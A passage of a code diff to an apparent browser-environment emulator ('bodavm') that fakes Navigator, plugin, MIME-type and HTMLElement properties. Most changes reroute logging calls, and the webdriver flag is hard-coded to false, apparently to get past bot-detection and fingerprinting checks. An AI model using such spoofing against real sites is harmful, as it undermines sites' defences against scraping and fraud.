+ console.log_copy(`Navigator_webkitPersistentStorage_get `, `${webkitPersistentStorage} `) if (bodavm.config.isdebug) { debugger };; return webkitPersistentStorage } bodavm.envFunc.Navigator_languages_get = function Navigator_languages_get() { let languages = bodavm.memory.navigator["languages"] - console.log(`Navigator_languages_get `, `${languages} `) + console.log_copy(`Navigator_languages_get `, `${languages} `) return languages } bodavm.envFunc.Navigator_language_get = function Navigator_languages_get() { let language = bodavm.memory.navigator["language"] - console.log(`Navigator_language_get `, `${language} `) + console.log_copy(`Navigator_language_get `, `${language} `) return language } bodavm.envFunc.Navigator_appVersion_get = function Navigator_appVersion_get() { let appVersion = bodavm.memory.navigator["appVersion"] - console.log(`Navigator_appVersion_get `, `${appVersion} `) + console.log_copy(`Navigator_appVersion_get `, `${appVersion} `) return appVersion } bodavm.envFunc.Navigator_getBattery = function Navigator_getBattery() { debugger let batteryManager = bodavm.memory.cache['Navigator_getBattery']; batteryManager._boisinit=true - console.log(`Navigator_getBattery `, 'settimeout 添加异步电池信息'); + console.log_copy(`Navigator_getBattery `, 'settimeout 添加异步电池信息'); batteryManager.__proto__ = bodavm.memory.globalobj['BatteryManager'].prototype // debugger // bodavm.toolsFunc.symbolProperty(batteryManager) @@ -4889,19 +5194,19 @@ bodavm.memory.Performance={ } bodavm.envFunc.Navigator_webdriver_get = function Navigator_webdriver_get() { if (bodavm.config.isdebug) { debugger };; - console.log(`Navigator_webdriver_get `, `false `); + console.log_copy(`Navigator_webdriver_get `, `false `); return false } bodavm.envFunc.Navigator_connection_get = function Navigator_connection_get() { if (bodavm.config.isdebug) { debugger }; let connection = bodavm.memory.navigator['connection'] - console.log(`Navigator_connection_get `, `${connection} `) + console.log_copy(`Navigator_connection_get `, `${connection} `) Object.setPrototypeOf(connection, bodavm.memory.globalobj['NetworkInformation'].prototype) return connection } bodavm.envFunc.Navigator_cookieEnabled_get = function Navigator_cookieEnabled_get() { let cookieEnabled = bodavm.memory.navigator['cookieEnabled'] - console.log(`Navigator_cookieEnabled_get`, `${cookieEnabled} `) + console.log_copy(`Navigator_cookieEnabled_get`, `${cookieEnabled} `) return cookieEnabled } @@ -4909,190 +5214,218 @@ bodavm.memory.Performance={ bodavm.envFunc.MimeTypeArray_namedItem = function MimeTypeArray_namedItem() { let name = arguments[0]; + console.log_copy(`MimeTypeArray_namedItem -> `,`arg -> `,name); return this[name]; } bodavm.envFunc.MimeTypeArray_item = function MimeTypeArray_item() { let index = arguments[0]; + console.log_copy(`MimeTypeArray_item -> `,`arg -> `,index); return this[index]; } bodavm.envFunc.Plugin_namedItem = function Plugin_namedItem() { let name = arguments[0]; + console.log_copy(`Plugin_namedItem -> `,`arg -> `,name); return this[name]; } bodavm.envFunc.Plugin_item = function Plugin_item() { let index = arguments[0]; + console.log_copy(`Plugin_item -> `,`arg -> `,index); return this[index]; } bodavm.envFunc.PluginArray_namedItem = function PluginArray_namedItem() { let name = arguments[0]; + console.log_copy(`PluginArray_namedItem -> `,`arg -> `,name); return this[name]; } bodavm.envFunc.PluginArray_item = function PluginArray_item() { let index = arguments[0]; - - return this[index]; + itemindex=index % 42949672960 + console.log_copy(`PluginArray_item -> `,`arg -> `,index); + return this[itemindex]; } bodavm.envFunc.Navigator_mimeTypes_get = function Navigator_mimeTypes_get() { + console.log_copy(`Navigator_mimeTypes_get -> `,`arg -> `); + return bodavm.memory.globalInit.mimeTypeArray; } bodavm.envFunc.MimeType_suffixes_get = function MimeType_suffixes_get() { + console.log_copy(`MimeType_suffixes_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "suffixes"); } bodavm.envFunc.MimeType_enabledPlugin_get = function MimeType_enabledPlugin_get() { + console.log_copy(`MimeType_enabledPlugin_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "enabledPlugin"); } bodavm.envFunc.MimeType_description_get = function MimeType_description_get() { + console.log_copy(`MimeType_description_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "description"); } bodavm.envFunc.Plugin_length_get = function Plugin_length_get() { + console.log_copy(`Plugin_length_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "length"); } bodavm.envFunc.Plugin_filename_get = function Plugin_filename_get() { + console.log_copy(`Plugin_filename_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "filename"); } bodavm.envFunc.Plugin_description_get = function Plugin_description_get() { + console.log_copy(`Plugin_description_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "description"); } bodavm.envFunc.Plugin_name_get = function Plugin_name_get() { + console.log_copy(`Plugin_name_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "name"); } bodavm.envFunc.PluginArray_length_get = function PluginArray_length_get() { + console.log_copy(`PluginArray_length_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "length"); } bodavm.envFunc.MimeType_type_get = function MimeType_type_get() { + console.log_copy(`MimeType_type_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "type"); } bodavm.envFunc.MimeTypeArray_length_get = function MimeTypeArray_length_get() { + console.log_copy(`MimeTypeArray_length_get -> `,`arg -> `); + return bodavm.toolsFunc.getProtoAttr.call(this, "length"); } //HTMLElement - bodavm.envFunc.HTMLElement_accessKey_get = function HTMLElement_accessKey_get() { console.log("HTMLElement_accessKey_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_autocapitalize_get = function HTMLElement_autocapitalize_get() { console.log("HTMLElement_autocapitalize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_autofocus_get = function HTMLElement_autofocus_get() { console.log("HTMLElement_autofocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_contentEditable_get = function HTMLElement_contentEditable_get() { console.log("HTMLElement_contentEditable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_dataset_get = function HTMLElement_dataset_get() { console.log("HTMLElement_dataset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_dir_get = function HTMLElement_dir_get() { console.log("HTMLElement_dir_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_draggable_get = function HTMLElement_draggable_get() { console.log("HTMLElement_draggable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_enterKeyHint_get = function HTMLElement_enterKeyHint_get() { console.log("HTMLElement_enterKeyHint_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_hidden_get = function HTMLElement_hidden_get() { console.log("HTMLElement_hidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_inputMode_get = function HTMLElement_inputMode_get() { console.log("HTMLElement_inputMode_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_inert_get = function HTMLElement_inert_get() { console.log("HTMLElement_inert_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_isContentEditable_get = function HTMLElement_isContentEditable_get() { console.log("HTMLElement_isContentEditable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_lang_get = function HTMLElement_lang_get() { console.log("HTMLElement_lang_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_nonce_get = function HTMLElement_nonce_get() { console.log("HTMLElement_nonce_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_offsetTop_get = function HTMLElement_offsetTop_get() { console.log("HTMLElement_offsetTop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_offsetParent_get = function HTMLElement_offsetParent_get() { console.log("HTMLElement_offsetParent_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_offsetLeft_get = function HTMLElement_offsetLeft_get() { console.log("HTMLElement_offsetLeft_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onabort_get = function HTMLElement_onabort_get() { console.log("HTMLElement_onabort_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onanimationend_get = function HTMLElement_onanimationend_get() { console.log("HTMLElement_onanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onanimationiteration_get = function HTMLElement_onanimationiteration_get() { console.log("HTMLElement_onanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onanimationstart_get = function HTMLElement_onanimationstart_get() { console.log("HTMLElement_onanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onauxclick_get = function HTMLElement_onauxclick_get() { console.log("HTMLElement_onauxclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onbeforematch_get = function HTMLElement_onbeforematch_get() { console.log("HTMLElement_onbeforematch_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onbeforexrselect_get = function HTMLElement_onbeforexrselect_get() { console.log("HTMLElement_onbeforexrselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onblur_get = function HTMLElement_onblur_get() { console.log("HTMLElement_onblur_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncancel_get = function HTMLElement_oncancel_get() { console.log("HTMLElement_oncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncanplay_get = function HTMLElement_oncanplay_get() { console.log("HTMLElement_oncanplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncanplaythrough_get = function HTMLElement_oncanplaythrough_get() { console.log("HTMLElement_oncanplaythrough_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onchange_get = function HTMLElement_onchange_get() { console.log("HTMLElement_onchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onclick_get = function HTMLElement_onclick_get() { console.log("HTMLElement_onclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onclose_get = function HTMLElement_onclose_get() { console.log("HTMLElement_onclose_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncontextlost_get = function HTMLElement_oncontextlost_get() { console.log("HTMLElement_oncontextlost_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncontextmenu_get = function HTMLElement_oncontextmenu_get() { console.log("HTMLElement_oncontextmenu_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncontextrestored_get = function HTMLElement_oncontextrestored_get() { console.log("HTMLElement_oncontextrestored_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncopy_get = function HTMLElement_oncopy_get() { console.log("HTMLElement_oncopy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncuechange_get = function HTMLElement_oncuechange_get() { console.log("HTMLElement_oncuechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondblclick_get = function HTMLElement_ondblclick_get() { console.log("HTMLElement_ondblclick_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oncut_get = function HTMLElement_oncut_get() { console.log("HTMLElement_oncut_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondrag_get = function HTMLElement_ondrag_get() { console.log("HTMLElement_ondrag_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondragleave_get = function HTMLElement_ondragleave_get() { console.log("HTMLElement_ondragleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondragstart_get = function HTMLElement_ondragstart_get() { console.log("HTMLElement_ondragstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondragenter_get = function HTMLElement_ondragenter_get() { console.log("HTMLElement_ondragenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondragend_get = function HTMLElement_ondragend_get() { console.log("HTMLElement_ondragend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondragover_get = function HTMLElement_ondragover_get() { console.log("HTMLElement_ondragover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondrop_get = function HTMLElement_ondrop_get() { console.log("HTMLElement_ondrop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ondurationchange_get = function HTMLElement_ondurationchange_get() { console.log("HTMLElement_ondurationchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onemptied_get = function HTMLElement_onemptied_get() { console.log("HTMLElement_onemptied_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onended_get = function HTMLElement_onended_get() { console.log("HTMLElement_onended_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onerror_get = function HTMLElement_onerror_get() { console.log("HTMLElement_onerror_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onfocus_get = function HTMLElement_onfocus_get() { console.log("HTMLElement_onfocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onformdata_get = function HTMLElement_onformdata_get() { console.log("HTMLElement_onformdata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ongotpointercapture_get = function HTMLElement_ongotpointercapture_get() { console.log("HTMLElement_ongotpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oninput_get = function HTMLElement_oninput_get() { console.log("HTMLElement_oninput_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onkeydown_get = function HTMLElement_onkeydown_get() { console.log("HTMLElement_onkeydown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onkeypress_get = function HTMLElement_onkeypress_get() { console.log("HTMLElement_onkeypress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onkeyup_get = function HTMLElement_onkeyup_get() { console.log("HTMLElement_onkeyup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_oninvalid_get = function HTMLElement_oninvalid_get() { console.log("HTMLElement_oninvalid_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onload_get = function HTMLElement_onload_get() { console.log("HTMLElement_onload_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onloadedmetadata_get = function HTMLElement_onloadedmetadata_get() { console.log("HTMLElement_onloadedmetadata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onlostpointercapture_get = function HTMLElement_onlostpointercapture_get() { console.log("HTMLElement_onlostpointercapture_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onloadeddata_get = function HTMLElement_onloadeddata_get() { console.log("HTMLElement_onloadeddata_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onloadstart_get = function HTMLElement_onloadstart_get() { console.log("HTMLElement_onloadstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmousedown_get = function HTMLElement_onmousedown_get() { console.log("HTMLElement_onmousedown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmouseleave_get = function HTMLElement_onmouseleave_get() { console.log("HTMLElement_onmouseleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmousemove_get = function HTMLElement_onmousemove_get() { console.log("HTMLElement_onmousemove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmouseout_get = function HTMLElement_onmouseout_get() { console.log("HTMLElement_onmouseout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmouseup_get = function HTMLElement_onmouseup_get() { console.log("HTMLElement_onmouseup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmouseover_get = function HTMLElement_onmouseover_get() { console.log("HTMLElement_onmouseover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onmousewheel_get = function HTMLElement_onmousewheel_get() { console.log("HTMLElement_onmousewheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpaste_get = function HTMLElement_onpaste_get() { console.log("HTMLElement_onpaste_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpause_get = function HTMLElement_onpause_get() { console.log("HTMLElement_onpause_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onplay_get = function HTMLElement_onplay_get() { console.log("HTMLElement_onplay_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onplaying_get = function HTMLElement_onplaying_get() { console.log("HTMLElement_onplaying_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointercancel_get = function HTMLElement_onpointercancel_get() { console.log("HTMLElement_onpointercancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerdown_get = function HTMLElement_onpointerdown_get() { console.log("HTMLElement_onpointerdown_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerleave_get = function HTMLElement_onpointerleave_get() { console.log("HTMLElement_onpointerleave_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointermove_get = function HTMLElement_onpointermove_get() { console.log("HTMLElement_onpointermove_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerover_get = function HTMLElement_onpointerover_get() { console.log("HTMLElement_onpointerover_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerout_get = function HTMLElement_onpointerout_get() { console.log("HTMLElement_onpointerout_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerenter_get = function HTMLElement_onpointerenter_get() { console.log("HTMLElement_onpointerenter_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerrawupdate_get = function HTMLElement_onpointerrawupdate_get() { console.log("HTMLElement_onpointerrawupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onpointerup_get = function HTMLElement_onpointerup_get() { console.log("HTMLElement_onpointerup_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onprogress_get = function HTMLElement_onprogress_get() { console.log("HTMLElement_onprogress_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onratechange_get = function HTMLElement_onratechange_get() { console.log("HTMLElement_onratechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onreset_get = function HTMLElement_onreset_get() { console.log("HTMLElement_onreset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onscroll_get = function HTMLElement_onscroll_get() { console.log("HTMLElement_onscroll_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onsecuritypolicyviolation_get = function HTMLElement_onsecuritypolicyviolation_get() { console.log("HTMLElement_onsecuritypolicyviolation_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onseeked_get = function HTMLElement_onseeked_get() { console.log("HTMLElement_onseeked_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onseeking_get = function HTMLElement_onseeking_get() { console.log("HTMLElement_onseeking_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onselect_get = function HTMLElement_onselect_get() { console.log("HTMLElement_onselect_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onselectionchange_get = function HTMLElement_onselectionchange_get() { console.log("HTMLElement_onselectionchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onselectstart_get = function HTMLElement_onselectstart_get() { console.log("HTMLElement_onselectstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onslotchange_get = function HTMLElement_onslotchange_get() { console.log("HTMLElement_onslotchange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onstalled_get = function HTMLElement_onstalled_get() { console.log("HTMLElement_onstalled_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onsuspend_get = function HTMLElement_onsuspend_get() { console.log("HTMLElement_onsuspend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontimeupdate_get = function HTMLElement_ontimeupdate_get() { console.log("HTMLElement_ontimeupdate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onsubmit_get = function HTMLElement_onsubmit_get() { console.log("HTMLElement_onsubmit_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontoggle_get = function HTMLElement_ontoggle_get() { console.log("HTMLElement_ontoggle_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontransitioncancel_get = function HTMLElement_ontransitioncancel_get() { console.log("HTMLElement_ontransitioncancel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontransitionrun_get = function HTMLElement_ontransitionrun_get() { console.log("HTMLElement_ontransitionrun_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontransitionstart_get = function HTMLElement_ontransitionstart_get() { console.log("HTMLElement_ontransitionstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_ontransitionend_get = function HTMLElement_ontransitionend_get() { console.log("HTMLElement_ontransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onvolumechange_get = function HTMLElement_onvolumechange_get() { console.log("HTMLElement_onvolumechange_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwaiting_get = function HTMLElement_onwaiting_get() { console.log("HTMLElement_onwaiting_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwebkitanimationend_get = function HTMLElement_onwebkitanimationend_get() { console.log("HTMLElement_onwebkitanimationend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwebkitanimationiteration_get = function HTMLElement_onwebkitanimationiteration_get() { console.log("HTMLElement_onwebkitanimationiteration_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwebkitanimationstart_get = function HTMLElement_onwebkitanimationstart_get() { console.log("HTMLElement_onwebkitanimationstart_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwebkittransitionend_get = function HTMLElement_onwebkittransitionend_get() { console.log("HTMLElement_onwebkittransitionend_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_onwheel_get = function HTMLElement_onwheel_get() { console.log("HTMLElement_onwheel_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_outerText_get = function HTMLElement_outerText_get() { console.log("HTMLElement_outerText_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_spellcheck_get = function HTMLElement_spellcheck_get() { console.log("HTMLElement_spellcheck_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_tabIndex_get = function HTMLElement_tabIndex_get() { console.log("HTMLElement_tabIndex_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_title_get = function HTMLElement_title_get() { console.log("HTMLElement_title_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_translate_get = function HTMLElement_translate_get() { console.log("HTMLElement_translate_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } - bodavm.envFunc.HTMLElement_virtualKeyboardPolicy_get = function HTMLElement_virtualKeyboardPolicy_get() { console.log("HTMLElement_virtualKeyboardPolicy_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_accessKey_get = function HTMLElement_accessKey_get() { console.log_copy("HTMLElement_accessKey_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_autocapitalize_get = function HTMLElement_autocapitalize_get() { console.log_copy("HTMLElement_autocapitalize_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_autofocus_get = function HTMLElement_autofocus_get() { console.log_copy("HTMLElement_autofocus_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_contentEditable_get = function HTMLElement_contentEditable_get() { console.log_copy("HTMLElement_contentEditable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_dataset_get = function HTMLElement_dataset_get() { console.log_copy("HTMLElement_dataset_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_dir_get = function HTMLElement_dir_get() { console.log_copy("HTMLElement_dir_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_draggable_get = function HTMLElement_draggable_get() { console.log_copy("HTMLElement_draggable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_enterKeyHint_get = function HTMLElement_enterKeyHint_get() { console.log_copy("HTMLElement_enterKeyHint_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_hidden_get = function HTMLElement_hidden_get() { console.log_copy("HTMLElement_hidden_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_inputMode_get = function HTMLElement_inputMode_get() { console.log_copy("HTMLElement_inputMode_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_inert_get = function HTMLElement_inert_get() { console.log_copy("HTMLElement_inert_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_isContentEditable_get = function HTMLElement_isContentEditable_get() { console.log_copy("HTMLElement_isContentEditable_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_lang_get = function HTMLElement_lang_get() { console.log_copy("HTMLElement_lang_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_nonce_get = function HTMLElement_nonce_get() { console.log_copy("HTMLElement_nonce_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_offsetTop_get = function HTMLElement_offsetTop_get() { console.log_copy("HTMLElement_offsetTop_get ", undefined, "!!!!!!!!!未完善!!!!!!!!!!!!") } + bodavm.envFunc.HTMLElement_offsetParent_get = function HTMLElement_offsetParent_get() { console.log_copy("HTMLElement_offsetParent_get ", undefined, 